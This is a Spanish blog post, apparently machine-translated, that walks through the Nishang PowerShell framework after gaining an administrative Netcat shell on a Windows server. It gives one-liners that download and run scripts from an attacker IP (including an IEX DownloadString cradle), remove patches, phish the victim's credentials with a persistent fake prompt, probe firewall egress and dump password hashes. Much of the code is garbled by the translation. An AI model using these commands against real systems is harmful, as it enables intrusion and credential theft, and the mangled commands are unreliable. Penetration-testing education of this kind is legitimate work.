Nishang: Un framework de Postexplotación

Recientemente estaba haciendo una prueba de penetración externa para uno de nuestros clientes, donde obtuve acceso de shell a Windows Server 2012(Servidor web interno sentado detrás de una IP) con Privilegios Administrativos. También parece tener un Antivirus instalado en el sistema, ya que todo lo que estaba cargando en la máquina se estaba borrando sobre la marcha. Estaba buscando todas las posibilidades para solucionar este problema y decidí continuar con PowerShell. En el momento en que decida continuar con PowerShell para su explotación de publicaciones, realmente no necesita preocuparse por escribir sus propios scripts para ganar el juego, ya que hay un par de opciones disponibles en línea. Uno de ellos que realmente me gustó es Nishang. Aunque he estado observando este marco desde su inicio, nunca tuve la oportunidad de usarlo en las pruebas de penetración del mundo real antes de esto.

Si alguna vez se encuentra con una situación en la que necesita usar Nishang en sus pentests, siempre y cuando tenga acceso RDP a la máquina remota, su vida es fácil. Sin embargo, ¿cómo se procede cuando RDP no está disponible y todo lo que tiene es un shell remoto? Este artículo le sirve como una introducción a cómo usar Nishang cuando solo tiene un shell remoto.

¿Qué es Nishang?

Nishang es un marco de código abierto con varios scripts potentes de PowerShell que puede usar durante la fase posterior a la explotación de su prueba de penetración. Tiene muchos scripts categorizados en varias categorías, como recopilación de información, escaneo, elevación de privilegios, etc. Este artículo cubrirá algunos de esos scripts sin un orden específico. El resto de los guiones se dejan a los lectores como un ejercicio, ya que Nishang está bien documentado con algunas excelentes opciones de ayuda.

El objetivo principal de este artículo es presentar Nishang y demostrar cómo usar Nishang cuando se tiene shell remoto en el sistema de destino.

Configuración de laboratorio:

Antes de comenzar a leer el artículo, hay algunos puntos a tener en cuenta.

  1. Hay pocas cargas útiles en Metasploit para obtener una consola interactiva de PowerShell en el equipo de la víctima. Significa que, cuando los use, obtendrá un PowerShell remoto, donde podrá ejecutar los cmdlets y scripts de PowerShell de forma remota.
  2. Meterpreter no parece funcionar bien con PowerShell. Esto significa que es posible que no obtenga una consola interactiva de PowerShell cuando tenga un intérprete de órdenes Meterpreter e intente obtener PowerShell de él mediante el comando «powershell».exe » en el shell de comandos.
  3. Siempre es bueno aprender cosas con un shell que tiene funciones limitadas, para que obtenga lo mejor de lo que está aprendiendo. Esto significa que tenemos un shell interactivo simple obtenido de la máquina remota usando Netcat.

Instalación

La siguiente figura muestra un shell con privilegios administrativos.

Usaremos este shell para usar Nishang y explorar algunos de sus scripts.

Nishang está disponible en Kali Linux en el directorio » / usr / share / nishang/». Alternativamente, puede descargarlo desde el siguiente enlace.

https://github.com/samratashok/nishang

Vamos a empezar.

Cuando tenemos un shell remoto, hay pocas opciones para ejecutar scripts de PowerShell. Sin embargo, primero debe decidir entre las dos situaciones siguientes.

  1. Desea descargar los scripts en el disco y luego ejecutarlos.
  2. Ejecute sus scripts sin tocar el disco.

Voy con la primera opción de este artículo. Si está interesado en la opción 2, he dado el método al final del artículo.

Cargar archivos en la máquina remota

El siguiente script de 3 líneas se puede usar para descargar sus scripts en la máquina de la víctima.

client client = New-Object System.Net.WebClient

$targetlocation = «http://192.168.56.103/Check-VM.ps1»

$cliente.DownloadFile($targetlocation,»Check-VM.ps1″)

Somos la descarga de Check-VM.ps1 secuencia de comandos en la máquina remota usando el script de arriba. Por lo tanto, necesitamos crear un archivo con el script anterior como su contenido. Para hacer esto, simplemente escriba los siguientes comandos uno por uno en el shell que tenemos.

echo client client = New-Object System. Net. WebClient > script. ps1

echoocation targetlocation = «http://192.168.56.103/Check-VM.ps1» >> script. ps1

echo client cliente.DownloadFile (targ targetlocation,»Check-VM.ps1″) >> script.ps1

Esto se ve como se muestra a continuación.

Una vez que tenga su script listo en el sistema de destino, ejecútelo como se muestra a continuación para que el script se descargue en la máquina remota.

powershell.derivación de la política de ejecución exe-Script de archivo no interactivo. ps1

Como podemos ver en la figura anterior, el script Check-VM.ps1 se ha descargado y está listo para la acción. Del mismo modo, puede descargar cualquier script que desee.

Check-VM

El primer script que probaremos es Check-VM.ps1 que acabamos de descargar. Este script comprueba si la máquina de destino se está ejecutando dentro de una máquina virtual. Comprueba si hay varias firmas para determinar si la máquina se está ejecutando dentro de una máquina virtual. Por ejemplo, si un proceso se llama vboxtray.exe se está ejecutando, podría ser una caja virtual. Del mismo modo, si se encuentra la siguiente entrada del registro, dice que es virtual box.

Hacer esto manualmente podría ser problemático. Este script automatiza todo el proceso para simplificar esta tarea.

Para ejecutar este script, primero necesitamos importar el módulo y luego llamar a la función «Check-VM». Dado que estamos en un shell remoto y no es interactivo ejecutar scripts de PowerShell, use el siguiente delineador para realizar todo el proceso de una sola vez.

Powershell.comando de derivación exe-exec » & {Módulo de importación ‘C:UsersUserDesktoptempCheck-VM.ps1″; Check-VM}»

Como se muestra en la figura anterior, el script lo ha identificado como Caja Virtual.

Exploración de puertos

El siguiente script es Exploración de puertos. Este es uno de los guiones más útiles de Nishang. Una vez, si obtiene acceso a una máquina interna, encontrar las direcciones IP internas y escanearlas en busca de puertos abiertos siempre es una parte crucial de la explotación posterior. Este script hace que sea muy fácil encontrar las IP en vivo de un rango especificado y escanear en busca de puertos abiertos.

Ejecute el siguiente script para comprobar las IP en vivo entre 192.168.56.101 y 192.168.56.105. Después de eso, también busque puertos abiertos.

Powershell.comando de derivación exe-exec » & {Módulo de importación ‘C:UsersUserDesktoptempPort-Scan.ps1’; Port-Scan-StartAddress 192.168.56.101-Dirección final 192.168.56.105-Puerto de exploración de resolución }»

¡Aquí está la Genialidad! Encontramos un controlador de dominio en la red de laboratorio anterior.

Remove-Update

Si desea eliminar cualquier parche instalado en el equipo de destino, este script es para usted. El script Remove-Update le ayuda a eliminar una actualización del equipo de destino.

En primer lugar, comprobemos la lista de correcciones rápidas instaladas mediante el cmdlet «Get-Hotfix».

Ahora, intentemos eliminar la segunda actualización KB2534366. Ejecute el script Remove-Update como se muestra a continuación.

Powershell.comando de derivación exe-exec » & {Módulo de importación ‘C:UsersUserDesktoptempRemove-Update.ps1’; Remove-Update KB2534366}»

Como podemos ver en la figura anterior, la actualización ha sido eliminada. Podemos comprobar ejecutando el mismo cmdlet una vez más, como se muestra a continuación.

¡Éxito! La actualización ha sido eliminada.

Invoke-CredentialsPhish

Este es un buen script para hacer phishing y recibir el nombre de usuario y la contraseña de la víctima en texto claro. La mejor parte es que obtendrá el nombre de usuario y la contraseña correctos, ya que esta ventana de phishing no desaparece hasta que la víctima ingresa el nombre de usuario y la contraseña correctos.

Ejecute el siguiente script en la terminal.

Powershell.comando de derivación exe-exec » & {Módulo de importación ‘C:UsersUserDesktoptempInvoke-CredentialsPhish.ps1’; Invoke-CredentialsPhish}»

Esto abrirá una ventana en la máquina de la víctima como se muestra a continuación. Primero introduzcamos un nombre de usuario y una contraseña aleatorios.

Después de unos segundos, esta ventana volverá a aparecer y el usuario tiene que introducir las credenciales correctas para deshacerse de la ventana. Esta vez, introduzcamos las credenciales correctas.

Veamos qué pasó en nuestra terminal. J

Tenemos el nombre de usuario y la contraseña introducidos por la víctima.

FireBuster

FireBuster es uno de los scripts muy útiles para comprobar los puertos de salida que se abren a través del firewall. Este script se puede probar usando otro script llamado FireListener, que actúa como un receptor para probar la conexión. Dado que es para fines de prueba, comencé Netcat listener en los puertos 5555 y 5556 en la máquina del atacante en lugar de usar FireListener. Ahora, ejecutemos el siguiente script para ver si estos puertos se permiten a través del firewall para realizar conexiones salientes.

Powershell.comando de derivación exe-exec » & {Módulo de importación ‘C:UsersUserDesktoptempFireBuster.ps1″; FireBuster 192.168.56.103 5555-5556}»

Como podemos ver en la figura anterior, la máquina víctima está haciendo conexiones salientes a través de los puertos especificados.

Revisemos otra ronda, pero esta vez, bloqueé las conexiones salientes a través del puerto 5556 en mi firewall de Windows en la máquina de la víctima.

Ejecutemos el script una vez más y observemos los resultados.

Agradable, podemos ver que el puerto 5556 no aparece en la salida de este tiempo.

Get-PassHashes

Descargar hashes de contraseñas de la máquina de la víctima es una de las cosas comunes que vemos durante la explotación posterior. Get-PassHashes vuelca los hashes de contraseña de la máquina de la víctima. Este módulo requiere un shell elevado. Por lo tanto, necesitamos omitir UAC en el shell remoto.

En un shell elevado, ejecute el siguiente script.

Powershell.comando de derivación exe-exec » & {Módulo de importación ‘C:UsersUserDesktoptempGet-PassHashes.ps1’; Tarjetas de acceso}»

Como podemos ver en la figura anterior, tenemos todos los hashes.

Si desea conocer los conceptos de derivación de UAC, consulte el siguiente libro escrito por mí, donde se explica en detalle.

https://resources.infosecinstitute.com/download/post-exploitation-without-automated-tools/

Si desea descargar y ejecutar el mencionado módulos sin tocar el disco, puede utilizar el siguiente método.

powershell.comando de derivación exe-exec » IEX (New-Object Net.WebClient).Cadena de descarga (‘http://192.168.56.103/Check-VM.ps1’); Comprobar-VM»

El camino por delante

Hay muchos otros scripts útiles disponibles en Nishang que se pueden usar durante nuestras pruebas de penetración y los dejo a los lectores como un ejercicio, ya que el concepto detrás de usar cualquier otro script seguirá siendo el mismo. Otro kit de herramientas de PowerShell llamado PowerSploit se ha discutido anteriormente en nuestro blog, que se puede encontrar aquí.

Para saber más sobre Nishang, siga su blog aquí.

Deja una respuesta

Tu dirección de correo electrónico no será publicada.